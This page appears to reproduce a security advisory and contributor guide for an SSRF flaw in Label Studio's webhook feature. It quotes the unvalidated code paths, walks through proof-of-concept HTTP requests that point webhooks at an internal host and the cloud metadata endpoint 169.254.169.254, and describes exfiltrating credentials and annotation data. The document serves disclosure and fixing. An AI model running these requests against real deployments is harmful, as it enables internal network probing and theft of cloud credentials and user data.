HumanSignal / HumanSignal/label-studio
SSRF via Unvalidated Webhook URL Allows Authenticated User to Reach Internal Network
- Dominant language
- TypeScript
- Stars
- 28.3k
- Forks
- 3.7k
- Avg merge
- 14h
- Merged PRs (30d)
- 15
Description
reported on 3 June 2026 https://github.com/HumanSignal/label-studio/security/advisories/GHSA-9rjc-r7m8-5wpg - no response:
### Summary
Any authenticated Label Studio user can create a webhook with an arbitrary URL, including private network addresses (RFC 1918), loopback (127.0.0.1), and cloud metadata endpoints (169.254.169.254). When a webhook-triggering event occurs (annotation created, task updated, etc.), Label Studio makes an outbound HTTP POST to the configured URL with no SSRF validation. This allows any authenticated user in an organization to probe and communicate with internal network services reachable from the Label Studio host, exfiltrate data to attacker-controlled servers, and reach cloud instance metadata endpoints on hosted deployments.
### Details
Label Studio supports webhooks that fire on annotation, task, and project lifecycle events. The webhook URL is provided by the user at creation time and stored in the database. When an event fires, `label_studio/webhooks/utils.py` calls `run_webhook_sync()`:
```python
def run_webhook_sync(webhook, action, payload=None):
data = {'action': action}
if webhook.send_payload and payload:
data.update(payload)
try:
return requests.post(
webhook.url,
headers=webhook.headers,
json=data,
timeout=settings.WEBHOOK_TIMEOUT,
)
except requests.RequestException as exc:
logging.error(exc, exc_info=True)
return
```
`webhook.url` is used directly with no call to `validate_upload_url()` or any SSRF guard.
At webhook creation time, `WebhookSerializer.validate()` in `label_studio/webhooks/serializers.py` only validates webhook action names; it does not validate the URL:
```python
def validate(self, attrs):
actions = attrs.pop('_actions', [])
instance = Webhook(**attrs)
instance.validate_actions(actions)
attrs['_actions'] = actions
return attrs
```
The existing SSRF protection (`validate_upload_url` + `ssrf_safe_get`) in `label_studio/core/utils/io.py` guards the import-from-URL feature and is gated by `settings.SSRF_PROTECTION_ENABLED` (default: `False`). Webhooks do not use this protection at all, regardless of the `SSRF_PROTECTION_ENABLED` setting.
All Label Studio permissions in the open-source version default to `rules.is_authenticated` (see `label_studio/core/permissions.py`, last three lines), so `webhooks_change` is granted to every logged-in user including annotators.
The webhook payload (`send_payload=true`) includes the full annotation result, task data, and project metadata for each event, creating an additional data-exfiltration channel.
Root cause files:
- `label_studio/webhooks/utils.py`, line 55
- `label_studio/webhooks/serializers.py`, `validate()` method (missing URL validation)
- `label_studio/core/settings/base.py`, line 489 (`SSRF_PROTECTION_ENABLED=False` default)
By contrast, the import-from-URL feature in tasks uses `ssrf_safe_get()` with a post-redirect IP check, showing the correct defense pattern that webhooks are missing.
### PoC
Prerequisites: A Label Studio instance (tested on v1.23.0, official Docker image `heartexlabs/label-studio:latest`). The attacker has a regular annotator account. The target internal service is accessible from the Label Studio host (any private IP, loopback, or cloud metadata endpoint).
Step 1. Log in as an annotator and obtain a CSRF token.
Step 2. Create a webhook pointing to an internal host (replace `` with the target):
```
POST /api/webhooks/ HTTP/1.1
Host: ls.example.com
Cookie: sessionid=
Content-Type: application/json
X-CSRFToken:
{
"url": "http://172.18.0.1:19999/",
"project": 1,
"is_active": true,
"send_payload": true,
"send_for_all_actions": true,
"headers": {}
}
HTTP/1.1 201 Created
{"id": 2, "url": "http://172.18.0.1:19999/", "project": 1, ...}
```
No URL validation error is returned.
Step 3. Trigger any webhook event (e.g., create an annotation on any task in the project):
```
POST /api/tasks/1/annotations/ HTTP/1.1
Host: ls.example.com
Cookie: sessionid=
Content-Type: application/json
X-CSRFToken:
{"result": [{"from_name": "label", "to_name": "t", "type": "choices", "value": {"choices": ["Pos"]}}]}
HTTP/1.1 201 Created
```
Step 4. Observe inbound POST on the internal listener from the Label Studio server:
```
POST hit from 172.18.0.4 (Label Studio container IP):
{
"action": "ANNOTATION_CREATED",
"annotation": {
"id": 2,
"result": [{"type": "choices", "value": {"choices": ["Pos"]}, ...}],
...
},
"project": {"id": 1, "title": "Org1 Test Project", ...}
}
```
For cloud metadata exfiltration:
```
POST /api/webhooks/ HTTP/1.1
...
{"url": "http://169.254.169.254/latest/meta-data/", "project": 1, ...}
HTTP/1.1 201 Created
{"id": 4, "url": "http://169.254.169.254/latest/meta-data/", ...}
```
This also creates without error. On cloud instances the metadata request fires on the next annotation event.
### Impact
Any authenticated user, including low-privilege annotators, can:
1. Reach and enumerate internal network services not exposed to the internet (databases, admin panels, internal APIs, Kubernetes metadata APIs).
2. Access cloud instance metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP metadata at 169.254.169.254, Azure IMDS at 169.254.169.254) to retrieve IAM credentials, tokens, and instance configuration. On IMDSv1-enabled AWS instances this leads to full credential exfiltration.
3. Exfiltrate all annotation data (labeling results, task content, project metadata) to an attacker-controlled server by setting `send_payload=true`.
4. Probe internal services for response differences using webhook creation feedback (connection errors are logged and may be observable).
This vulnerability is distinct from the previously reported GHSA-p59w-9gqw-wj8r (SSRF in tasks import) and GHSA-m238-fmcw-wh58 (SSRF in S3 endpoint). Both prior fixes added `validate_upload_url()` to their respective paths. The webhook dispatch path was not covered by those fixes.
version: 1.23.0
Contributor guide
Research direction
Start with label_studio/webhooks/utils.py and label_studio/webhooks/serializers.py, tracing run_webhook_sync() and WebhookSerializer.validate(). Compare these paths with validate_upload_url() and ssrf_safe_get() in label_studio/core/utils/io.py, then review the SSRF_PROTECTION_ENABLED default in label_studio/core/settings/base.py. Done means webhook requests reject unsafe destinations and regression coverage verifies the reported internal and metadata targets.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- backend-api-design, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 55/100